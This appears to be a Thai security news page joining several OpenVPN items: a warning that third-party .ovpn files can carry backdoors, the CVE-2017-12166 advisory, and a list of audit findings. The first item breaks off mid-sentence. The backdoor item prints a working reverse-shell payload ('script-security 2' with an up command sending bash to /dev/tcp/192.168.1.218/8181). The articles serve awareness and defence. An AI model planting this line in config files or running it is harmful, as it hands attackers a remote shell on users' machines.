ใช้ของฟรีระวังของแถม! แฉเทคนิคฝัง Backdoor กับไฟล์คอนฟิก OpenVPN

สวัสดีครับหลังจากห่างหายกันไปนานวันนี้เราจะมาพูดถึงเทคนิคใหม่ในการฝังแบ็คดอร์ไว้ในไฟล์ตั้งค่าของโปรแกรม OpenVPN ซึ่งถูกค้นพบโดย Jacob Baines จาก Tenable Security กันครับ
อะไรคือแบ็คดอร์ประเภท Reverse Shell?
แบ็คดอร์ประเภท Reverse Shell เป็นแบ็คดอร์ที่เมื่อมีการติดตั้งลงบนเครื่องเป้าหมายแล้ว โปรแกรมของแบ็คดอร์จะมีการติดต่อกลับมายังเซิร์ฟเวอร์ตามหมายเลขไอพีแอดเดรสและพอร์ตที่เรากำหนดไว้กับโปรแกรมของแบ็คดอร์ ซึ่งจะแตกต่างกับแบ็คดอร์อีกประเภทหนึ่งคือ Bind Shell ที่จะฝังตัวและรอรับการเชื่อมต่อเข้ามาที่โปรแกรมของแบ็คดอร์อย่างเดียว

แบ็คดอร์ประเภท Reverse Shell ได้รับความนิยมสูงเนื่องจากโดยทั่วไปการตั้งค่าด้านความปลอดภัยนั้นมักจะไม่อนุญาตให้มีการเชื่อมต่อที่ไม่ได้รับอนุญาตเข้ามาในเครือข่ายแต่มักจะหละหลวมในการตั้งค่าการเชื่อมต่อในขาออกจากเครือข่าย ทำให้แบ็คดอร์ประเภท Reverse Shell นั้นถูกเลือกใช้บ่อยครั้งกว่าแบ็คดอร์แบบ Bind Shell
แก้ไขไฟล์ OVPN เพื่อฝังแบ็คดอร์
โปรแกรม OpenVPN นั้นจะถูกกำหนดการใช้งานในแต่ละครั้งด้วยไฟล์ตั้งค่าซึ่งใช้นามสกุลของไฟล์คือ OVPN โดยภายในไฟล์ OVPN นั้นจะมีการเก็บการตั้งค่าของการเชื่อมต่อเพื่อสร้างการเชื่อมต่อไปยังเซิร์ฟเวอร์ VPN เอาไว้

นักวิจัยด้านความปลอดภัยจาก Tenable Security “Jacob Baines” ค้นพบว่าโปรแกรม OpenVPN จะทำการรันหรือเอ็กซีคิวต์คำสั่งใดๆ ที่ต่อท้ายฟิลด์ “up” ซึ่งเป็นฟิลด์การตั้งค่าหนึ่งตามรูปแบบของ OVPN ดังนั้นหากมีการแก้ไขไฟล์ OVPN โดยการเพิ่มคำสั่งอันตรายต่อท้ายฟิลด์ “up” ผู้ใช้งานก็จะมีการรันคำสั่งที่เป็นอันตรายดังกล่าวทันทีเมื่อพยายามเชื่อมต่อ VPN

โดยทั่วไปไฟล์ตั้งค่า OVPN นั้นจะประกอบด้วยข้อมูลภายในดังต่อไปนี้ (ข้อมูลในไฟล์ OVPN อาจแตกต่างกันตามลักษณะการเชื่อมต่อ)

การตั้งค่าในแต่ละบรรทัดมีความหมายดังต่อไปนี้

remote test.

Downloading 3rd Party OpenVPN Configs May Be Dangerous. Here’s Why.

Jacob Baines วิศวกรด้านความปลอดภัยจาก Tenable ได้แสดงเทคนิคการโจมตีใหม่โดยอาศัยการแก้ไขไฟล์การตั้งค่าของ OpenVPN เพื่อสอดแทรกคำสั่งที่เป็นอันตรายลงไป โดยเมื่อไฟล์ดังกล่าวถูกรันโดย OpenVPN คำสั่งที่ถูกสอดแทรกลงไปก็จะสามารถรันในเครื่องของเหยื่อ ซึ่งอาจส่งผลให้เกิดการรันคำสั่งเป็นอันตรายขึ้นมาได้

ในตัวอย่างการโจมตีของ Jacob Baines สิ่งที่ผู้โจมตีจำเป็นต้องทำคือการเพิ่มบรรทัด "script-security 2" ลงในไฟล์ OVPN ก่อนจะเพิ่ม up "cmd" ตามด้วยคำสั่งที่จะรันในระบบของเหยื่อ คำสั่ง script-security 2 จะทำให้ OpenVPN รันโค้ดที่ผู้ใช้กำหนดได้เองซึ่งหมายถึงคำสั่งในบรรทัด up "cmd" ได้ ตัวอย่างของการแก้ไขมีรายละเอียด้านล่าง โดยเป็นการสร้างการเชื่อมต่อกลับไปยังระบบของผู้โจมตี เปิดช่องทางให้ผู้โจมตีทำการควบคุมได้

script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0&1&’”

การโจมตีนี้สามารถถูกสังเกตได้หลายวิธีการ อาทิ การตรวจสอบที่ไฟล์ OVPN หรือการตรวจสอบจากหน้าต่างของ OpenVPN เมื่อมีการเชื่อมต่อซึ่งจะแสดงให้เห็นคำสั่งที่เป็นอันตรายที่ถูกรันอย่างชัดเจน

ที่มา : bleepingcomputer

CVE-2017-12166: out of bounds write in key-method 1

OpenVPN ก่อนหน้ารุ่น 2.0 นักวิจัยด้านความปลอดภัย Guide Vranken ได้มีการตรวจพบช่องโหว่ stack buffer overflow บน OpenVPN ถ้าหากมีการตั้งค่า key-method 1 ไว้

ช่องโหว่นี้อยู่ในฟังก์ชัน read_key() ซึ่งไม่ได้มีการตรวจสอบข้อมูลนำเข้าที่เหมาะสม อย่างไรก็ตามการตั้งค่า key-method 1 นั้นได้ถูกแทนที่ด้วยการตั้งค่า key-method 2 เป็นค่าเริ่มต้นตั้งแต่ OpenVPN 2.0 (เผยแพร่ในปี 2005) และกำลังจะถูกนำออกในรุ่น 2.5 ดังนั้นเฉพาะ OpenVPN ในรุ่นเก่าหรือมีการตั้งเฉพาะเท่านั้นที่จะได้รับกระทบจากช่องโหว่นี้

ผู้ใช้งานสามารถดาวโหลด OpenVPN รุ่น 2.4.4 และ 2.3.18 ที่มีการแพตช์ช่องโหว่นี้แล้วได้จากเว็บไซต์ของ OpenVPN

ที่มา : openvpn

The OpenVPN post-audit bug bonanza

OpenVPN เป็น Application ชื่อดังในเรื่องการใช้งานและจัดทำ VPN Server ซึ่งแน่นอนว่าเมื่อมีคนใช้เยอะก็ยิ่งมีคนสนใจในความปลอดภัยของ OpenVPN ด้วยเช่นกัน เมื่อมีการตรวจสอบพบบว่ามีช่องโหว่สำคัญ 4 ช่องโหว่ด้วยกัน
OpenVPN ได้ถูกนำไปตรวจ source code และ fuzzing (การส่งข้อมูลแปลกๆเข้าไป) ในส่วนต่างๆ พบว่ามีช่องโหว่สำคัญที่เป็นการโจมตีจากระยะไกล 4 ช่องโหว่ด้วยกัน ดังนี้

- Remote server crashes/double-free/memory leaks in certificate processing
- Remote (including MITM) client crash, data leak
- Remote (including MITM) client stack buffer corruption
- Remote server crash (forced assertion failure)

จากที่เห็นจะพบว่าช่องโหว่ส่วนใหญ่จะทำให้ระบบไม่สามารถให้บริการได้ (Denial of Service) อีกทั้งมีช่องโหว่ที่ทำให้เกิด Information Leakage ได้ด้วยเช่นกัน ไม่เพียงเท่านี้ ยังพบช่องโหว่อีกมากมายที่เป็นการทำ Local Exploitation อีกด้วย แต่ทั้งนี้ช่องโหว่ทั้งหมดพบใน version 32bit เท่านั้น ดังนั้นหากใครให้บริการหรือใช้งาน OpenVPN Client ที่เป็น 32bit อยู่ แนะนำให้ update

ที่มา: guidovranken.